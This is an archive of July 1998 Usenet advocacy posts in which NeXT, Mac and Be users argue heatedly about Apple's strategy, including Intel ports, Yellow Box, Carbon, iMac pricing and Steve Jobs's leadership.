References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net>
In article <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>1) Write a version of OSX which will not only run on Intel, but
>will run native Windows apps as if they were Mac apps.
>2) Back out of the PowerPC. Continue to support those already
>out there, but make no more new ones. Build high quality
>leading-edge Intel machines which innovate the platform and
>which are tightly integrated with the Intel MacOS, In other
>words, out-Windows Windows. We all know how much better
>the Mac GUI is better than Windows, and we know the
>superiority of Unix over NT. OSX will have both. People would be
>able to choose their OS based upon their preferences, not upon
>which platform has the software they need.
>By more tightly integrating the Apple-built Intel boxes to the
>Mac OS, There will be a compelling reason for people to buy
>Apple rather than Compaq, Dell etc. BUT, if money is a problem,
>the Mac OS will run on those machines as well, just without
>the level of integration that the Apple boxes provide.
I'd agree with (2) as long as Apple didn't manufacture the boards. That
is Apple designs the board specs, then allows others to freely make those
boards. Apple will still sell machines, and will use the best
price/performance/quality motherboard made by someone else. This keeps
OEMs from being afraid to ever bundle OS X as Apple is their competitor
(aside from the afraid to bundle as MS will cut them off). The other OEMs
left out by the official choice may still want to compete and make those
boards simply to get the next big contract. And, if those 'high quality
Intel machines' run a MS OS as well as Linux, it's not a dangerous sell.
That'd be the killer, if the 'better' Apple Intel machine only ran OS X,
and not alternative OSes.
I believe that Jobs is looking for the Merced transition to do just
that. He wants OS XI to better support Merced than NT6 and the successor
to 98. If, during the Merced transition, Apple pops up with a credible
'Red Box' to run Win32s programs then OS XI becomes a viable
alternative. If the plan is good enough, Intel will make the
motherboards for Apple as well as supply chipsets to other vendors. I
don't think Intel is all that enamored with MS, and wouldn't mind someone
actually supporting and using their new technology.
In the meantime either Carbon gets to be cross platform, or Apple needs a
way to make Yellow more dominate, so it's easier to move users over to
Merced, while still suporting the PPC customers.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 19:26:19 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1D4F664-24510@206.165.43.134>
References: <6omain$snn$1@server.signat.org>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1D3E1B6-497D2@206.165.43.46> "Lawson English" wrote:
>> "I [f] you don't have a history with MacOS customers, YB offers a
larger
>> >market.
>
> Sure,=C4but I think it offers a larger market even to those people.
I know a
>lot of util vendors and such that would kill for a good clean way to
go
>x-platform (heck, it would have made SA's job easier too).
>
My point was simply that for those people who are Mac-only developers,
YB isn't a good solution until the majority of potential customers are
running YB-enabled Macs. Why? Because most Mac-only companies are
Mac-only because they don't want to try and maintain two code-bases: 1
for Macs and 1 for PCs.
If they started to use the YB, they would have to maintain two
code-bases: 1 for Macs and 1 for YB-capable OSs.
Easier to stay Mac-only and keep with the customers that you know.
>> If nothing else, you have their mailing address because THEY sent
it to
>> you.
>
> Sure, no doubt.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 19:26:20 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1D4F704-26A9A@206.165.43.134>
References: <pxpst2-1607982126410001@pelli.pathology.pitt.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
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Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> said:
>In article <6oimuj$nsq$1@news00.btx.dtag.de>, Fam.Traeger@t-online.de
>(=?ISO-8859-1?Q?Lars_Tr=E4ger?=) wrote:
[snipt]
>> Bingo! If you want to write apps for the Mac, would you chose an API
>> that runs on Wintel but not on a large number of Macs still in use, the
>> 68ks?
>
>
>
>In a new york second.
I think that he meant: "if you already write for the Mac..." implying that
you have an installed base of customers who still use 68K machines.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 19:26:21 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1D4F7F2-2A28C@206.165.43.134>
References: <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
MIME-Version: 1.0
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George Graves <gmgraves@slip.net> said:
>Run the company like adults on a permanent basis.
RDF do this? Not likely.
Restore some of the
>lost credibility,
That just requires masterful manipulation of people, which Jobs does very
well.
move Apple toward being a mainstream computer, instead
>of being an isolated curiosity,
Jobs believes in Apple-as-niche. Explain his refusal to create an AMP-like
machine and license it to anyone, otherwise.
> reinstate clones.
See above. Apple-as-creator-of-technology rather than as
vender-of-expensive-niche-machines is NOT part of Job's worldview. The Mac
has NEVER been the "computer for the rest of us," and Jobs doesn't think
that it should be.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 17 Jul 1998 19:26:58 -0700
Organization: Primenet (602)416-7000
Message-ID: <6op15i$283$1@nnrp03.primenet.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com>
<gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
: You don't get it. Sun, HP, and SGI DO have support from major players.
: They aren't necessariliy the SAME major players that are in the office
: computer market, but they are major players nonetheless. Care to tell
: me the names of any REAL, useful software on Be?
You're so funny George, you use a REAL software on a REAL operating system
by a company with REAL management ... Apple.
Geez, the REAL software is Microsoft Office, which Apple had to beg for
(accepting IE as a condition). Or Photoshop under carbon, which Apple had
to beg for (abandoning Yellow Box to get the deal). Or Quicken, which
Apple had to beg for (particularly embarassing because an Apple board
member had to be begged).
The REAL operating system, now called MacOS X is a ways off.
The REAL management is happily fortifying a shrinking core market.
If you are happy with that, great, you have the patience of Job. But
isn't it a little ridiculous for you to be throwing stones at people who
aren't in such a wonderful situation?
Why not accept that anyone trying to sell an alternate OS in the '90s is
going to have a hard time, and wish them luck?
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to
obscurity?)
Date: 17 Jul 1998 19:26:17 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1D4F24A-14E3D@206.165.43.134>
References: <pxpst2-1607982149350001@pelli.pathology.pitt.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
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Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> said:
>
>After Gil left, Markula relinguished his majority stake in Apple. He is
>no longer in control.
Are you saying that Markkula sold his stock when Amelio resigned? If not,
then he is STILL in control. (BTW, he never had a "majority stake" at Apple
-at least not since the IPO).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Date: 18 Jul 1998 02:24:29 GMT
Organization: none
Message-ID: <6op10t$hlv$2@server.signat.org>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> <6olq3g$jeh$1@server.signat.org>
<sdavis-1607981711490001@149.118.128.38> <6omat6$snn$3@server.signat.org>
<sdavis-1707981612340001@149.118.128.38>
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Cc: sdavis@aureal.com
In <sdavis-1707981612340001@149.118.128.38> Stephen A. Davis wrote:
> Does the Mk architecture run a single I/O task in the kernel with a thread
> for each device (and it's driver)?
It _can_, although that of course it up to the implementation. In general
though, the answer is "yes".
> If so, did NeXT adopt this change from
> the OSF and then stick I/O kit on top of it?
That _appears_ to be the basic idea, but I give up trying to predict them.
> From what you say, it seems like that's what happened.
Well yes, but I assure you I have no real idea either. Let me put it this
way, given the statements at WWDC, and that they'd be utterly nuts to do it
some other way, I'm predicting that they'll do it this way.
> I think the business/support aspects are the real reason Apple has stated
> they may not support the old machines. Let them surprise us with support
> if they can but let's not shoot them for being resource-constricted!
Hear hear!!!!
> Besides, since the DR Rhapsody releases already run on a lot of the 604
> PCI Power Macs I expect (optimistically) that they will be supported in
> the end.
Me too.
Maury
From: maury@remove_this.istar.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 18 Jul 1998 02:20:53 GMT
Organization: none
Message-ID: <6op0q5$hlv$1@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com>
<gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com>
<gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org>
<gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org>
<gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net>
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Cc: gmgraves@slip.net
In <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> George Graves
wrote:
> HMMMM You misunderstand, Maury. Steve is ACTING CEO.
Oh, I know that. In fact I don't think anyone's forgotten it.
> there, the company has changed, and yes, they seem to have achieved
> some maturity. But one of these days Jobs is going to move on
Ok, sure. But the same is true of _ever_ company in the world. Now as to
whether or not Apple is different in this particular regard I don't know, but
the _assumption_ that it is is what's upsetting me. You keep saying "when he
moves on" and such, and I don't think that's particularily valid. Or at
least not more so in this case than any other.
Could be wrong. Hell, they could indeed be reading to cancel YB, kill OS-X
and Steve is getting ready to quit. I don't know. You don't either. In the
meantime I think drawing conclusions is rather scarry, considering their past
history.
No, let me change this one around, do you have any reason to believe Jobs
wants out? I means _specific_ things and actions, not "well his title
is...".
> Not if I preface that statement as MY opinion (which I did).
Nope sorry, that still doesn't change the basis that you have nothing
specific on which to base this - which is the part I added. Can you name any
specific behaviours that clearly indicate Jobs wants out or not? I don't
think you can. And at that point it's speculation. Is there "bad
speculation"? Yes.
> Jobs is smart enough to realize that irrespective of what he does to "fix"
> Apple in the short run, that in the long run Apple simply can't make it
> without a strong partner.
Partnet shmartner. Who? MS? Who else? All the rest are FAR more
clueless than Jobs even in the worse characterizations. What would Sun do
with it? Sony? Nike? Who can turn ir around EXCEPT Apple? I simply cannot
visualize any situation in which it doesn't get a lot worse.
> irrelevant, they must innovate. They must continue to introduce products
> and TECHNOLOGIES which will differentiate them from Wintel in a
> compelling manner;
Absolutely, which is why I can't understand for the life of me the current
policy on YB. YB is something that _utterly_ trounces win, period. Yet they
treat it oddly in fear of developer backlash.
> Macintosh. But with marketshare falling,
Marketshare is NOT falling, as ANY statment currently demontrates.
> and revenues falling
Nope, sorry, I'm not letting that one go either. Apple's income is
_volitile_, but if anything it too is steady.
> One which can either fund such a presence (a deep-pockets company like
> IBM or Philips)
Philips? What can they _possibly_ add? CD-I? I don't disagree with the
basic premise, but I utterly disagree with the specifics - I simply don't
think there is any other company in the world that wouldn't marginallize and
then destroy Apple.
> > What exactly is the iMac if not just this?
>
> A step in the right direction,
Well ok. But if it seels well, then it's more than (as you put it) a
curiosity. Let's wait until then, shall we?
> boosters here are going to be appalled at how few iMacs are going
> to sell
Oh come on George, no one here has any idea how many will sell, and this
comment is FUD in it's most pure form.
Maury
From: dennyrex@earthlink.net (Rick Sanford)
Newsgroups: comp.sys.next.advocacy
Subject: observations from atop a slab
Date: 18 Jul 1998 02:23:50 GMT
Organization: Dental Records (R)
Message-ID: <6op0vm$eep$1@birch.prod.itd.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I haven't been following this group as much lately as I usually do, but the
Rhapsody mailing list is quiet just now, so...
Has anybody else noticed this?
circa 1984-86
Macintosh wows some of us with its integrated "just works" GUI-ness, and we
bite hard and never care about any lack of expansion slots or whatnot. We get
a lot of good work done and are happy.
We neither realize nor care that we are thinking different.
circa 1989-92
NeXT wows some of us with its integrated "just works" GUI-ness & OO-ness et
al, and we bite hard and never care about any lack of expansion slots (slabs)
or whatnot. We get a lot of good work done and are happy. It's an absolutely
natural, logical and linear expansion of the Mac experience. It's an
improvement on every level. It begins to be pointed out that we may indeed be
thinking different.
circa 1993-95
NeXT's commercial focus shifts to software only strategy (IMO, thanks to
AIM), and we NeXT users are "forced" to face an intel future. Later an HP-PA
Risc future option is added, and still later SPARC future option. We lose our
integrated "just works" computing and "learn to love" PCs (hardly). We
embrace, begrudgingly the MCCA / enterprise focus of NeXT, and begin to lose
things along the way: our music kit (moves to academic sphere); phone kit
(was lame but coulda been a contenda' with work/rework); etc. We amuse
ourselves by laughing at Taligent, Cairo, and C++; we are amazed and confused
by HP's $50 million investment in Taligent. We are proven right to have
laughed. Some of us begin an effort to shift focus back to the creative side
of things, and share power (at the user group level, for instance) with wall
street, and the rest of the deep pockets. Some of us begin an effort to lobby
for a PPC (PowerMac) port. Thinking different now means you too, more likely
than not, have intel inside.
circa 1996-97
NeXT merges with Apple and we see a PPC future as an option. We see
integrated hardware/OS, like it used to be... We think a Powermac with
NeXTstep would be different enough for me! We raise the pirate flag at
MWexpoSF, to the confused BeOS supporters and collected mourners of Copland.
circa 1998-99
Now some of us are bemoaning the potential loss of the intel (renamed PC
Compatibles) option that some of us didn't want in the first place. Some of
us are bemoaning the potential loss of the MCCA / enterprise market that some
of us didn't need in the first place. Many of us are bemoaning the potential
loss of the elegance and increased productivity of the NeXT GUI advancements
that we DID want. Many of us are bemoaning the potential loss of the CLI as
an option (which, although we were not forced to use, or even see, or know
about it, we learned to appreciate it for the many things it does best)
So we get back the all in one integrated nature of Mac / NeXT computing. We
get back the creative market focus. We are happy, are we not? Well not as
much as "I" could be. Having been force fed intel, that I can get over.
However, having suffered through it, writing this on a canon object.station,
it seems a shame to lose what we've earned and learned about cross-platform.
Ditto to the enterprise market. (And I want my IMPROV)
All I can think then is
a) Apple was in a lot worse shape than anyone would admit in 1996.
b) Apple needs to build a strong foundation to grow from (eg Jobs' recent
keynote's "hierarchy metaphor"). This is not a fixer-upper, this is a
complete reconstruction.
c) Apple unfortunately needs to spoon-feed "focus" to the current user base,
not to mention the developers who are, oddly, risk-adverse (then why develop
for the Mac?) in order to build this foundation and allow for growth. One
product at a time. G3...PowerBooks...iMac...forthcoming "eMac". This appears
to some as a replacing product strategy, rather than an appending product
strategy.
So, voting with my wallet, I'll give 'em a break. I'll continue to use and
profit by my existing investment in NeXT based technology and hope they're
careful with that recycler wrt the intel code and so on. Main question in
this office is, buy a new PC Compatible for current apps or an iMac as client
for Mac OSXServer (aka NeXTstep 5.x). RDR2 would rock with a decent GUI.
Optional alternatives (Fiend, Rbrowser's shelf, etc.) are fine with me. A
default Mac look 'n feel is fine too, though soon one would hope Apple will
be strong enough to lead rather than follow.
Something to think different about until August 15th...
--
Rick Sanford
Dental Records(R)
dennyrex@earthlink.net NeXTMAIL welcome
http://www.dentalrecords.com
From: rcl@ultranet.com (Rich Long)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: cancel <rcl-1707982137430001@d1.dial-3.nsh.nh.ultra.net>
Control: cancel <rcl-1707982137430001@d1.dial-3.nsh.nh.ultra.net>
Date: Fri, 17 Jul 1998 23:29:54 -0400
Organization: UltraNet Communications , an RCN Company http://www.ultranet.com/
Message-ID: <rcl-1707982329540001@d18.dial-1.nsh.nh.ultra.net>
cancel <rcl-1707982137430001@d1.dial-3.nsh.nh.ultra.net>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 18 Jul 1998 03:59:56 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6op6js$9dk$1@lwnws01.ne.highway1.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <joe.ragosta-1607982129100001@elk123.dol.net> <6omp7j$m5t$2@lwnws01.ne.highway1.com> <joe.ragosta-1707981312160001@wil54.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6omp7j$m5t$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
>
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > At $1299, Apple is probably going to sell as many as they
> > > can make. At $999, they wouldn't sell any more, so the market
> > > impact would be no greater.
> >
> > Aint that pitiful? (That's rhetorical)
>
> Whether it's pitiful or not is not the issue. Someone (was it
> you?) argued that Apple would have much more market impact at
> $999 than $1299. That statement was clearly in error.
No, *you* are clearly in error. I double dog dare you to go back in the
thread. If you pull out that post you'll see, what I said was *if* they
could actually produce enough to meet the demand at a $999 price point, it
would behoove them to eat margin in order to build marketshare. As dumb and
moronic as I am, still, even I can see if they cannot keep up with demand at
1299, there is no purpose in selling at 999. Which is why I've been putting
in my "pitiful" comments.
> As for it being pitiful, I doubt if either of us has enough
> information about the iMac or Apple's manufacturing process to
> know just how quickly Apple should be able to ramp up to the
> necessary volume, so it's impossible to say if their iMac ramp
> up is good, bad, or indifferent.
You can't eat your cake and have it all. Either they can produce enough to
meet with 999 pricing demand, and then by not doing so they are (perhaps
foolishly) foregoing marketshare opportunities. Or, they cannot meet 999
pricing demand, and that is pitiful that apple always has half assed
production problems. It's one or the other, not the rosier side of both
mutually exclusive variants.
> But that won't stop you from pretending that you could do better.
I see it nothing stops your koolaid drinking crusade into complete obscurity
and bias. I never pretend I can do better. As a matter of fact most of my
*opinions* are labeled as such, and most of those are tagged with an
admission that I could be wrong, and that your mileage may vary. Something I
dont see you do. I guess you, unlike myself, are certain of your direction
in your holy biased idiocy towards the negligible.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Date: 18 Jul 1998 04:11:43 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6op79v$9dk$2@lwnws01.ne.highway1.com>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> <6olq3g$jeh$1@server.signat.org> <sdavis-1607981711490001@149.118.128.38> <6omat6$snn$3@server.signat.org> <sdavis-1707981612340001@149.118.128.38> <6op10t$hlv$2@server.signat.org>
maury@remove_this.istar.ca wrote:
> In <sdavis-1707981612340001@149.118.128.38> Stephen A. Davis wrote:
> > I think the business/support aspects are the real reason Apple has stated
> > they may not support the old machines. Let them surprise us with support
> > if they can but let's not shoot them for being resource-constricted!
>
> Hear hear!!!!
Let's just play devils advocate here for a sec. Let's say apple is full of
money hungry scum. Let's say that those people would like to improve the
revenues and force everyone to become their willing slaves and work for the
company in any manner till death; but since that's not likely they'll settle
for lots of new G3 and new equipment purchases. Not let's say they know
people will hate them if they change every X.X.0.1 OS update, yet require new
hardware to run it. People won't like. Now let's say that people believe
that apple doesn't have resources to make device drivers and that makes it ok
to require new hardware. If apple were scum, would there be any reason for
them to admit they were leaving people behind for greed, or just go along
with this easy excuse. I believe if they were the scum I described, of
course they'd lie for the good PR.
So, in the context of 350mhz PPC machines being labeled as not compatible
because of a kernel upgrade under the banner that making the device drivers
compatible would suck too many resources they hope you upgrade. Also, in the
context that small developers made drivers for dirt cheap sums in the NeXT
market with the driver kit from scratch (i.e. they didn't have a base of
drivers, as now exists, from which to leverage and make drivers) in short
periods of time--that seems to suggest maybe it's not all that big a resource
hog. All that, to me suggests one outcome. Apple scum sees an opportunity
to bilk people into buying new machines for an OS upgrade (hmmm, perhaps a
nice example of the tying we can expect more of in the future) and lie the
reason they must force you into doing so is that they can't provide resources
that small fry developers could.
So I guess the real question is do you believe the people making the
decisions at apple are greedy scum or not. I have my cynical guess all
straight. Here's three cheers to them proving me wrong.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
From: Tyler Riti <fizzboy@mail.utexas.edu>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
In-Reply-To: <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net>
Message-ID: <Pine.BOS.3.96.980717231938.231B-100000@fbnp>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp> <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Date: Sat, 18 Jul 1998 04:30:59 GMT
NNTP-Posting-Date: Fri, 17 Jul 1998 23:30:59 CDT
On Fri, 17 Jul 1998, George Graves wrote:
>> >> So Sun, SGi and HP have all "failed" cause they dont have suport from MS
>> >> or other people that rigth the crap we all have to use at our office?
>> >
>> >Sun and HP *are* "major players".
>>
>> Be has support from Intel. Is that major enough for you?
>
>Intel writes applications? Gee, I didn't know that!
>
>L-E-A-R-N T-O R-E-A-D
You know, I'm not the only one on this group that is getting annoyed by this
thread. You're just itchin to get flamed but I think you'd get too much of a
thrill out of that...
Who cares that the major players aren't stepping up to bat in Be's ballpark.
How old is the Intel port? Less that what, four months? Until the x86 port,
nobody took the BeOS seriously. It was a geeks OS on the PPC platform. Sorta
like the back lot with the neighborhood kids. Certainly you're not going to
get McGuire batting in that kind of condition. After the move to Intel,
suddenly the press took notice and now it's one of the media buzzwords.
Despite that, no major software development company is going to jump up and
immediately port their flagship product for an up and coming OS. I'm sure
even someone like you can comprehend that.
Tyler Riti -- http://www.cs.utexas.edu/users/fizzboy/
"Tears, happiness... The two are interchangable."
From: xmac@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 04:27:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6op87l$9hq$1@nnrp1.dejanews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com>
In article <35AE858A.2576@betabreakers.com>,
Josiah Fizer <jfizer@betabreakers.com> wrote:
> George Graves wrote:
> >
> > In article <6okstp$mkm@nntp02.primenet.com>, John Jensen
> > <jjens@primenet.com> wrote:
> >
> > > xmac@my-dejanews.com wrote:
> > > : Look at Be and how far (not) they have gotten in the past few years. You may
> > > : also wish to notice that Gasse's first instinct with Be was to base it on a
> > > : largely proprietary hardware platform and only when sales tanked did they
> > > : decide to port to PowerMac and then Intel. Be either needs to get some major
> > > : backers quick or go opensource with the whole thing. (IMHO)
> > >
> > > That's a wierd way to measure things, bud. Be is healthy, is hiring, and
> > > has a new general purpose OS on the market. Has anyone else achieved that
> > > in the last 5 or even 10 years? Linux and FreeBSD, but there is a bit of
> > > a different dynamic there.
> > >
> > > You're saying JLG has failed because he doesn't rule the world. I'd ask
> > > who else has done as well.
> >
> > No, a GUI has failed when it has no MAJOR applications. Be still has no
> > support from the major players.
> >
> > George Graves
>
> So Sun, SGi and HP have all "failed" cause they dont have suport from MS
> or other people that rigth the crap we all have to use at our office? I
> would just as soon not see the large bloated programs ported to BeOS
> (gaining more bloat on the way).
That's not what George said is it? Sun, SGI, and HP have all been
successfull, because they have found their killer app. Be has yet to do this
or even show any real direction. They have a nice 'show' OS, so I guess their
killer app is going to be what, demonstrations?
-Stephen
---------------------------------------------------------------------------
"Watch what you say or Eric will sic Be's lawyers on you"
Looking for Mac stuff? Find it here:
http://members.tripod.com/~xgray/index.html -Xgray's Mac Internet Finder
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 18 Jul 1998 04:29:36 GMT
Organization: Digital Fix Development
Message-ID: <6op8bg$ej3$1@news.digifix.com>
References: <pxpst2-1607981145120001@pelli.pathology.pitt.edu> <B1D3E7F9-6105F@206.165.43.46>
In-Reply-To: <B1D3E7F9-6105F@206.165.43.46>
On 07/16/98, "Lawson English" wrote:
<snip>
>>It is wise that you remeber that not ever one on the USENET is
filled with
>>rumors and Half assed truths.
>
>So how many in the NeXT community were aware that DPS was to be
killed
>before it happened? Where were Scott's friends at that point?
>
I know of several who were aware of it before hand.
As far as who was told about it, I have a number of contracts
to adhere to when it comes to Apple, not to mention an ethical
responsiblity to those who tell me things in confidence.
>
>In Amelio's book, there's supposed to be an account of Amelio and
Tevanian
>going to lunch together. Tevanian allegedly told Amelio that he far
>prefered to have Amelio as boss because Amelio was more likely to
stick to
>a plan than Jobs was.
>
>
You trust Amelio, a man who violated untold confidentiality
agreements and who has already had numerous 'facts' in his book
disputed by those directly invovled? (i.e. WOZ?)
Thats hilarious.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 18 Jul 1998 04:19:52 GMT
Organization: Digital Fix Development
Message-ID: <6op7p8$eg2$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6okmrf$10j$3@ironhorse.plsys.co.uk> <not-1607981039320001@2-20.phx.psn.net>
In-Reply-To: <not-1607981039320001@2-20.phx.psn.net>
On 07/16/98, Michael M. Eilers wrote:
>In article <6okmrf$10j$3@ironhorse.plsys.co.uk>, mmalcolm crawford
><malcolm@plsys.co.uk> wrote:
>
>> For what it's worth, I assure you Scott's sources are more higher
level than
>> the intern toilet washer. You're probably unaware of how close a
community
>> the NeXT group was; many of our ex-NeXT net.friends in Apple have
positions
>> of seniority.
>
>I'm sure that is true, but it still marks him as a biased source of
>information on the subject at hand. What guarantee is there that he
would
>tell us that Yellow Box is dead if he heard *that* from his sources?
>
Uh, because I'd shut down my site and go onto something else?
Seriously, this isn't an issue of bias. Norr's "wild
speculation" was taken as gospel by some, so much so that they
modified their plans based on it.
That was what my statement was about. I have been critical of
things Apple has done in the past, but I bitch about them to the
people involved, because bitching publically is pointless. It's not
reaching the people that can make a change.
--
Scott Anguish <sanguish@digifix.com>
